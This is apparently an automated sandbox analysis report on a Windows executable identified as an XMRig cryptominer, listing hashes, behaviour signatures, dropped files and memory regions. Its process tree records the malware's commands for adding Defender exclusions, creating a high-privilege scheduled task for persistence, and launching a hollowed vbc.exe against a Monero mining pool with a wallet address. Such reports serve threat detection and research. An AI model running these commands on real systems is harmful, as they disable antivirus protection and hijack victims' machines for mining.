Analysis

  • max time kernel
    101s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 19:23

General

  • Target

    a00402e5172823c37d804531b5a4d71500da5a399c116a5384ff38bad546a1b5.exe

  • Size

    945KB

  • MD5

    7c245b4b77b331e7076c4904ec1ccddc

  • SHA1

    add5041ccc59c3199b1f0832f5a70a121b9c258b

  • SHA256

    a00402e5172823c37d804531b5a4d71500da5a399c116a5384ff38bad546a1b5

  • SHA512

    860159ba1ddf24f0db5d6698dffb38d22ec332f21b2013bc388dd3193541c4a30317c9a19684a1ddb85c0d7f90bcbaccde34dbb30a23035c7ec8ca3b852bc32b

  • SSDEEP

    24576:7+44gihoG6qV7CaaybGD055ytOuHXj923096N2l:jihoG6sGpyK0TOOs92h

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a00402e5172823c37d804531b5a4d71500da5a399c116a5384ff38bad546a1b5.exe
    "C:\Users\Admin\AppData\Local\Temp\a00402e5172823c37d804531b5a4d71500da5a399c116a5384ff38bad546a1b5.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2316
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp80CD.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4688
      • C:\ProgramData\Java\EEPWA.exe
        "C:\ProgramData\Java\EEPWA.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:176
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:536
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "EEPWA" /tr "C:\ProgramData\Java\EEPWA.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3012
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "EEPWA" /tr "C:\ProgramData\Java\EEPWA.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4552
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:5112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4260

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\Java\EEPWA.exe

          Filesize

          945KB

          MD5

          7c245b4b77b331e7076c4904ec1ccddc

          SHA1

          add5041ccc59c3199b1f0832f5a70a121b9c258b

          SHA256

          a00402e5172823c37d804531b5a4d71500da5a399c116a5384ff38bad546a1b5

          SHA512

          860159ba1ddf24f0db5d6698dffb38d22ec332f21b2013bc388dd3193541c4a30317c9a19684a1ddb85c0d7f90bcbaccde34dbb30a23035c7ec8ca3b852bc32b

        • C:\ProgramData\Java\EEPWA.exe

          Filesize

          945KB

          MD5

          7c245b4b77b331e7076c4904ec1ccddc

          SHA1

          add5041ccc59c3199b1f0832f5a70a121b9c258b

          SHA256

          a00402e5172823c37d804531b5a4d71500da5a399c116a5384ff38bad546a1b5

          SHA512

          860159ba1ddf24f0db5d6698dffb38d22ec332f21b2013bc388dd3193541c4a30317c9a19684a1ddb85c0d7f90bcbaccde34dbb30a23035c7ec8ca3b852bc32b

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          60945d1a2e48da37d4ce8d9c56b6845a

          SHA1

          83e80a6acbeb44b68b0da00b139471f428a9d6c1

          SHA256

          314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3

          SHA512

          5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed

        • C:\Users\Admin\AppData\Local\Temp\tmp80CD.tmp.bat

          Filesize

          138B

          MD5

          a1f51eac1c8b909f1c39d53ed53b6a02

          SHA1

          d2d27ee000c9bdd47e6505d0c717a7922b6d1f2d

          SHA256

          8ae9cb2a6126bf8930e37e49c46b0e67d15b9b47337bcec04bcbbf0ed00593ee

          SHA512

          edf2c2763ddf90e2270a3087c39b345761c3ce34e96e892750ad447176df4233c8203b85661a2c69ad520c6f42dd2e0333e41de9f1918fa4155e4a3a0500c958

        • memory/176-187-0x00007FF9BCBE0000-0x00007FF9BCC4B000-memory.dmp

          Filesize

          428KB

        • memory/176-175-0x00000000007A0000-0x00000000007E1000-memory.dmp

          Filesize

          260KB

        • memory/176-202-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/176-201-0x0000000000F60000-0x00000000010B4000-memory.dmp

          Filesize

          1.3MB

        • memory/176-198-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/176-197-0x0000000000F60000-0x00000000010B4000-memory.dmp

          Filesize

          1.3MB

        • memory/176-166-0x00007FF9B82D0000-0x00007FF9B82E2000-memory.dmp

          Filesize

          72KB

        • memory/176-189-0x00007FF9B9780000-0x00007FF9B97BB000-memory.dmp

          Filesize

          236KB

        • memory/176-170-0x00007FF9BB280000-0x00007FF9BB2AB000-memory.dmp

          Filesize

          172KB

        • memory/176-186-0x00007FF997390000-0x00007FF997492000-memory.dmp

          Filesize

          1.0MB

        • memory/176-185-0x00007FF9990A0000-0x00007FF9990D5000-memory.dmp

          Filesize

          212KB

        • memory/176-184-0x00007FF9BA720000-0x00007FF9BA747000-memory.dmp

          Filesize

          156KB

        • memory/176-169-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/176-165-0x00007FF9BC440000-0x00007FF9BC4DE000-memory.dmp

          Filesize

          632KB

        • memory/176-164-0x00007FF99F820000-0x00007FF99F8CA000-memory.dmp

          Filesize

          680KB

        • memory/176-168-0x00007FF9BC100000-0x00007FF9BC2A1000-memory.dmp

          Filesize

          1.6MB

        • memory/176-173-0x00007FF99CE90000-0x00007FF99CFDE000-memory.dmp

          Filesize

          1.3MB

        • memory/176-174-0x0000000000F60000-0x00000000010B4000-memory.dmp

          Filesize

          1.3MB

        • memory/176-176-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/176-167-0x00007FF99F760000-0x00007FF99F81D000-memory.dmp

          Filesize

          756KB

        • memory/176-172-0x0000000000F60000-0x00000000010B4000-memory.dmp

          Filesize

          1.3MB

        • memory/176-171-0x0000000000F60000-0x00000000010B4000-memory.dmp

          Filesize

          1.3MB

        • memory/536-180-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/536-191-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/1992-188-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/1992-181-0x00007FF99E750000-0x00007FF99F211000-memory.dmp

          Filesize

          10.8MB

        • memory/2316-156-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/2316-154-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/2316-150-0x0000026512CE0000-0x0000026512D02000-memory.dmp

          Filesize

          136KB

        • memory/2700-134-0x00007FF9BC440000-0x00007FF9BC4DE000-memory.dmp

          Filesize

          632KB

        • memory/2700-151-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/2700-138-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/2700-144-0x0000000000880000-0x00000000008C1000-memory.dmp

          Filesize

          260KB

        • memory/2700-143-0x00000000006E0000-0x0000000000834000-memory.dmp

          Filesize

          1.3MB

        • memory/2700-142-0x00007FF99D330000-0x00007FF99D47E000-memory.dmp

          Filesize

          1.3MB

        • memory/2700-140-0x00000000006E0000-0x0000000000834000-memory.dmp

          Filesize

          1.3MB

        • memory/2700-139-0x00007FF9BB280000-0x00007FF9BB2AB000-memory.dmp

          Filesize

          172KB

        • memory/2700-135-0x00007FF9B82D0000-0x00007FF9B82E2000-memory.dmp

          Filesize

          72KB

        • memory/2700-136-0x00007FF99F990000-0x00007FF99FA4D000-memory.dmp

          Filesize

          756KB

        • memory/2700-141-0x00000000006E0000-0x0000000000834000-memory.dmp

          Filesize

          1.3MB

        • memory/2700-145-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/2700-137-0x00007FF9BC100000-0x00007FF9BC2A1000-memory.dmp

          Filesize

          1.6MB

        • memory/2700-133-0x00007FF99FA50000-0x00007FF99FAFA000-memory.dmp

          Filesize

          680KB

        • memory/2700-149-0x00000000006E0000-0x0000000000834000-memory.dmp

          Filesize

          1.3MB

        • memory/4260-159-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/4260-155-0x00007FF99EA80000-0x00007FF99F541000-memory.dmp

          Filesize

          10.8MB

        • memory/5112-196-0x000002961E150000-0x000002961E170000-memory.dmp

          Filesize

          128KB

        • memory/5112-195-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/5112-194-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/5112-199-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/5112-200-0x000002961FA60000-0x000002961FAA0000-memory.dmp

          Filesize

          256KB

        • memory/5112-192-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/5112-203-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/5112-204-0x000002961FAA0000-0x000002961FAC0000-memory.dmp

          Filesize

          128KB

        • memory/5112-205-0x000002961E1A0000-0x000002961E1C0000-memory.dmp

          Filesize

          128KB

        • memory/5112-206-0x000002961FAA0000-0x000002961FAC0000-memory.dmp

          Filesize

          128KB

        • memory/5112-207-0x000002961E1A0000-0x000002961E1C0000-memory.dmp

          Filesize

          128KB